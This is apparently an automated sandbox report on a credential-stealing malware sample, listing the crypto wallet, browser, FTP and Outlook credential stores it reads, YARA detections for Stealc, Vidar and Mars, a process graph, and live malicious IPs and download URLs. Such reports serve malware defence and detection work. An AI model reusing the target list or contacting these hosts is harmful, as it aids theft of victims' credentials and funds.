Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001745000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\*.*
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: 37664d9843.exe PID: 8076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 586ef238b2.exe PID: 7592, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mars stealer
Source: Yara match File source: 15.2.586ef238b2.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.37664d9843.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1957654994.0000000000CE1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.3328030922.0000000000201000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Yara detected Stealc
Source: Yara match File source: 0000000F.00000002.3332366463.0000000001745000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1962741464.0000000001EDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 37664d9843.exe PID: 8076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 586ef238b2.exe PID: 7592, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 15.2.586ef238b2.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.37664d9843.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1957654994.0000000000CE1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.3328030922.0000000000201000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 37664d9843.exe PID: 8076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 586ef238b2.exe PID: 7592, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1467933 Sample: So7a8eQerR.exe Startdate: 05/07/2024 Architecture: WINDOWS Score: 100 79 Snort IDS alert for network traffic 2->79 81 Multi AV Scanner detection for domain / URL 2->81 83 Found malware configuration 2->83 85 16 other signatures 2->85 8 explorti.exe 17 2->8         started        13 So7a8eQerR.exe 5 2->13         started        15 explorti.exe 2->15         started        process3 dnsIp4 75 77.91.77.82, 49730, 49733, 49734 FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU Russian Federation 8->75 77 77.91.77.81, 49731, 49753, 49901 FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU Russian Federation 8->77 63 C:\Users\user\AppData\...\586ef238b2.exe, PE32 8->63 dropped 65 C:\Users\user\AppData\...\37664d9843.exe, PE32 8->65 dropped 67 C:\Users\user\AppData\Local\...\random[1].exe, PE32 8->67 dropped 125 Hides threads from debuggers 8->125 127 Tries to detect sandboxes / dynamic malware analysis system (registry check) 8->127 129 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 8->129 17 37664d9843.exe 36 8->17         started        22 586ef238b2.exe 33 8->22         started        69 C:\Users\user\AppData\Local\...\explorti.exe, PE32 13->69 dropped 71 C:\Users\...\explorti.exe:Zone.Identifier, ASCII 13->71 dropped 131 Detected unpacking (changes PE section rights) 13->131 133 Tries to evade debugger and weak emulator (self modifying code) 13->133 135 Tries to detect virtualization through RDTSC time measurements 13->135 24 explorti.exe 13->24         started        file5 signatures6 process7 dnsIp8 73 85.28.47.30, 49732, 49903, 80 GES-ASRU Russian Federation 17->73 47 C:\Users\user\AppData\...behaviorgraphIEHIDHJDB.exe, PE32 17->47 dropped 49 C:\Users\user\AppData\...\softokn3[1].dll, PE32 17->49 dropped 51 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 17->51 dropped 59 11 other files (7 malicious) 17->59 dropped 101 Antivirus detection for dropped file 17->101 103 Detected unpacking (changes PE section rights) 17->103 105 Tries to steal Mail credentials (via file / registry access) 17->105 121 3 other signatures 17->121 26 cmd.exe 1 17->26         started        28 cmd.exe 2 17->28         started        53 C:\Users\user\AppData\...\CBFIIEHJDB.exe, PE32 22->53 dropped 55 C:\Users\user\AppData\...\softokn3[1].dll, PE32 22->55 dropped 57 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 22->57 dropped 61 4 other files (2 malicious) 22->61 dropped 107 Machine Learning detection for dropped file 22->107 109 Found many strings related to Crypto-Wallets (likely being stolen) 22->109 111 Tries to harvest and steal ftp login credentials 22->111 113 Tries to harvest and steal browser information (history, passwords, etc) 22->113 30 cmd.exe 22->30         started        32 cmd.exe 22->32         started        115 Multi AV Scanner detection for dropped file 24->115 117 Tries to evade debugger and weak emulator (self modifying code) 24->117 119 Tries to detect virtualization through RDTSC time measurements 24->119 123 2 other signatures 24->123 file9 signatures10 process11 process12 34 GIEHIDHJDB.exe 26->34         started        37 conhost.exe 26->37         started        39 conhost.exe 28->39         started        41 CBFIIEHJDB.exe 30->41         started        43 conhost.exe 30->43         started        45 conhost.exe 32->45         started        signatures13 87 Machine Learning detection for dropped file 34->87 89 Tries to evade debugger and weak emulator (self modifying code) 34->89 91 Hides threads from debuggers 34->91 93 Antivirus detection for dropped file 41->93 95 Multi AV Scanner detection for dropped file 41->95 97 Detected unpacking (changes PE section rights) 41->97 99 3 other signatures 41->99
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
85.28.47.30
 unknown Russian Federation
31643 GES-ASRU true
77.91.77.81
 unknown Russian Federation
42861 FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU false
77.91.77.82
 unknown Russian Federation
42861 FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://77.91.77.81/mine/amadka.exe false
  • 27%, Virustotal, Browse
  • Avira URL Cloud: phishing
 unknown
http://85.28.47.30/69934896f997d5bb/softokn3.dll true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://85.28.47.30/69934896f997d5bb/freebl3.dll true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://77.91.77.82/Hun4Ko/index.php true
  • 24%, Virustotal, Browse
  • Avira URL Cloud: phishing
 unknown
http://85.28.47.30/69934896f997d5bb/nss3.dll true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://85.28.47.30/69934896f997d5bb/sqlite3.dll true
  • 4%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://85.28.47.30/69934896f997d5bb/vcruntime140.dll true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://85.28.47.30/920475a59bac849d.php true
  • Avira URL Cloud: malware
 unknown
http://85.28.47.30/69934896f997d5bb/msvcp140.dll true
  • Avira URL Cloud: malware
 unknown
http://77.91.77.81/stealc/random.exe false
  • Avira URL Cloud: malware
 unknown
http://85.28.47.30/69934896f997d5bb/mozglue.dll true
  • Avira URL Cloud: malware
 unknown